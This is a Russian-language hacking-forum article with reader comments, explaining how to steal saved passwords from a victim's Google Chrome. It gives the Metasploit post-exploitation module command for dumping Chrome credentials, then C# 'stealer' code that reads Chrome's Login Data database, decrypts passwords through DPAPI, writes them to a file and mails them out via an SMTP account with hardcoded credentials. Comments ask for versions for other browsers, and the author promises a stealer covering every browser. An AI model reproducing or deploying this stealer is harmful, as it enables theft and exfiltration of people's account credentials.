• Профессиональным авторам. Срочный заказ!

    Необходимо сделать развернутое описание каждой из наших услуг. Ограничений на объем текста нет. ЦА - руководство компаний (сухой технический текст). При отсутствии исполнителей среди участников форума, работа будет передана фрилансерам 10 февраля.

    Подробнее о заказе ...

Статья Воруем пароли из Google Chrome

SooLFaa

SooLFaa

Администратор
15.07.2016
834
1 387
Ave Caesars, morituri te salutant! И снова здрасте. Почему я вспомнил Цезаря? Потому что как гладиаторы, что бились во имя его, мы сегодня пойдем в борьбу за пароли гугл хрома во славу Хека.

Как и в любой моей статье будет личный профит и разработка. Ну обо всем по порядку……..

Итак, что мы хотим? Допустим, нам удалось каким либо образом похекать компутер жертвы, это здорово, но мы хотим, разумеется его аккаунт на форуме Кодеби, чтобы почитать приватики. Юзверь оказался неПальцемДеланный и использует разные пароли от разных ресурсов.

Давайте же посмотрим, как мы можем вытащить эти пароли мощью прекрасного метерпретера.
Каким либо образом получаем сессию метерпретера
upload_2017-1-23_0-34-44.png

А далее используем следующий модуль
Код:
run post/windows/gather/enum_chrome
upload_2017-1-23_0-36-3.png

После чего смотрим исходный файл
Код:
cat /root/.msf4/loot/20170122102848_default_192.168.1.222_chrome.decrypted_217283.txt
upload_2017-1-23_0-36-42.png


Ура джедайская сила метeрпретера справилась с поставленной задачей и вывело нам логин и пароль hac126@narod.ru:hac126@narod.ru

Ну это было бы слишком просто для статьи. А что если у нас нет метерпретера?
Задача: Написать свой стиллер, который будет расшифровывать пароли GoogleChrome и отсылать на почту.
Для начала поговорим о DPAPI(Data Protection Application Programming Interface) – Майкрософт, как и многие компании столкнулась с проблемой шифрования данных, которые могут быть расшифрованы только на стороне клиента. В итоге был создан алгоритм на основе мастер – ключа.

Мастер – ключ - это комбинация следующих элементов:
  • SID — уникальный идентификатор безопасности.
  • HMAC (сокращение от англ. hash-based message authentication code, хеш-код идентификации сообщений).
  • PBKDF2 – Password-Based Key Derivation Function. Стандарт формирования ключа на основе пароля. Использует псевдослучайную функцию для получения ключей.
  • MasterKey BLOB — это как раз данные с зашифрованным ключом.
Подробнее почитать тут

Отсюда следует главный вывод, что расшифровать пароли хрома можно только там где они были созданы.
Давайте напишем такой стиллер.
Установим SQLLITE уже известным нам менеджером установки пакетов и добавим следующий код:
Код:
string fileDb = @"C:\Users\Codeby\AppData\Local\Google\Chrome\User Data\Default\Login Data"; // Путь к логин данным
string connectionString = $"Data Source = {fileDb}";
string fileName = @"C:\Temp\output.txt"; // Выходной файл с паролями
StreamWriter sw = new StreamWriter(fileName, false, Encoding.UTF8);
string dbWay = "Login Data";
string db_fields = "logins"; // база паролей SQLITE
byte[] entropy = null;
string description;

DataTable db = new DataTable();
            string sql = $"SELECT * FROM {db_fields}";
            using (SQLiteConnection connection = new SQLiteConnection(connectionString))
            {
                SQLiteCommand command = new SQLiteCommand(sql, connection);
                SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
                adapter.Fill(db);
            }

            int rows = db.Rows.Count;
            Console.WriteLine($"Всего записей: {rows}");

            for (int i = 0; i < rows; i++)
            {
                string url = db.Rows[i][1].ToString();
                string login = db.Rows[i][3].ToString();
                byte[] byteArray = (byte[])db.Rows[i][5];
                byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
                string password = new UTF8Encoding(true).GetString(decrypted);
                sw.WriteLine("----------------------------");
                sw.WriteLine($"Номер: {i}");
                sw.WriteLine($"Сайт: {url}");
                sw.WriteLine($"Логин: {login}");
                sw.WriteLine($"Пароль: {password}");
            }
            sw.Close();

            MailSend.SendMail("smtp.mail.ru", "codeby1@mail.ru", "123qweasd", "hac126@ya.ru", "Пароли", fileName, fileName);
            Console.ReadKey();
Код класса DPAPI Взят отсюда
Код отправки сообщений на шарпе приводится не будет в целях безопасности.
В итоге получаем профит.
upload_2017-1-23_0-42-5.png


upload_2017-1-23_0-42-25.png


Всем спасибо. Видосик.

 
B

BaJIepraH

Давно ждал от тебя освещения сие вопроса,спасибо :)
 
  • Нравится
Реакции: SooLFaa
A

a113

Спасибо за статью! Такой вопрос: если данный метод работает с Chrome, можно ли его применить к Chromium?
 
  • Нравится
Реакции: SooLFaa
SooLFaa

SooLFaa

Администратор
15.07.2016
834
1 387
Не совсем понял просьбу :D Просто Chrome На движке Chromium, если у пользователя имеется одноименный браузверь, то можно попробовать применить метод,описанный в данной статье, к нему :)
Эммм Я думал что они отличаются веб китом.
 
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
3 009
Зачет) Возьму на вооружение) Нужно дописать модуль в метасплоите что бы файлы на почту отправлял) Какраз закончил сегодня базовые ООП в руби))) Если время появится - попытаюсь написать об этом статью)
 
A

a113

Эммм Я думал что они отличаются веб китом.
насколько я знаю, chrome- браузер с открытым исходным кодом, chrome - браузер с закрытым исходником, но создается на chomium`е с добавлением некоторых доп. функций. Так скажем Google Chrome = Chromium + Google Update + закрытые плагины и кодеки + отправка отчетов и статистики. То есть разница ощутима, но не настолько большая.
 
  • Нравится
Реакции: Domino-Designer
L

linkevich.vlafimir

А как тоже самое провернуть в мазиле?)
 
Gopher

Gopher

Member
27.03.2017
11
0
Эх, читаю форум и понимаю что я тупой валенок! А данный стиллер бы мне очень пригодился в миролюбивых целях! Работаю в сервисном центре и часто просят сохранить пароли с хрома. Можете кинуть в меня примером, а то я уже биты час сижу и не могу собрать все во едино(((
 
SooLFaa

SooLFaa

Администратор
15.07.2016
834
1 387
Эх, читаю форум и понимаю что я тупой валенок! А данный стиллер бы мне очень пригодился в миролюбивых целях! Работаю в сервисном центре и часто просят сохранить пароли с хрома. Можете кинуть в меня примером, а то я уже биты час сижу и не могу собрать все во едино(((
Хорошо. Я допишу на выхах стиллер под все браузеры.
 
Gopher

Gopher

Member
27.03.2017
11
0
Хорошо. Я допишу на выхах стиллер под все браузеры.
Спасибо! Получилось "Сделайте за меня". Если можно то и исходники дайте. Мне не нужна возможность отправки по email or ftp. Просто хочу подкачать свой скил в данной области!
 
SooLFaa

SooLFaa

Администратор
15.07.2016
834
1 387
Спасибо! Получилось "Сделайте за меня". Если можно то и исходники дайте. Мне не нужна возможность отправки по email or ftp. Просто хочу подкачать свой скил в данной области!
Окай
 
L

Lam0n

Есть же WebBrowserPassView
[doublepost=1490818251,1490817991][/doublepost]Вопрос. Модуль вынимает сохраненные пароли из браузера ведь так?
 
SooLFaa

SooLFaa

Администратор
15.07.2016
834
1 387
Есть такая вещь, называется она "System.Data.SQLite.dll". С помощью её можно открыть базу и от туда достать что душе угодно!
Я в шоке. Нобелевскую премию тебе. А ничего что содержимое базы зашифровано протоколом DPAPI?
 
L

LifeStream

Нобелевскую премию тебе.
Давай :)
А ничего что содержимое базы зашифровано протоколом DPAPI?
Ну дык это только для расшифровки пароля)
А Login + URL можно вытащить с помощью dll.
Можно использовать доп класс для расшифровки пароля ( тот же DPAPI ).
 
SooLFaa

SooLFaa

Администратор
15.07.2016
834
1 387
Давай :)

Ну дык это только для расшифровки пароля)
А Login + URL можно вытащить с помощью dll.
Можно использовать доп класс для расшифровки пароля ( тот же DPAPI ).
Ты издеваешься чтоль?! Если бы ты хотя бы прочитал статью и глянул в код, то увидел бы что все это дергается из базы с помощью sqllite и в статье я тоже об этом писал. И нахера логин и урл без пароля?
 
S

svistoplasofa

Читаю форум и понимаю что я тупой валенок!
 
L

LifeStream

По теме могу кое что намекнуть: использовать <List>/return для прохода по всем папкам собирая LoginData, и после в цикле расшифровывать данные, и выводить результат.
 
Мы в соцсетях: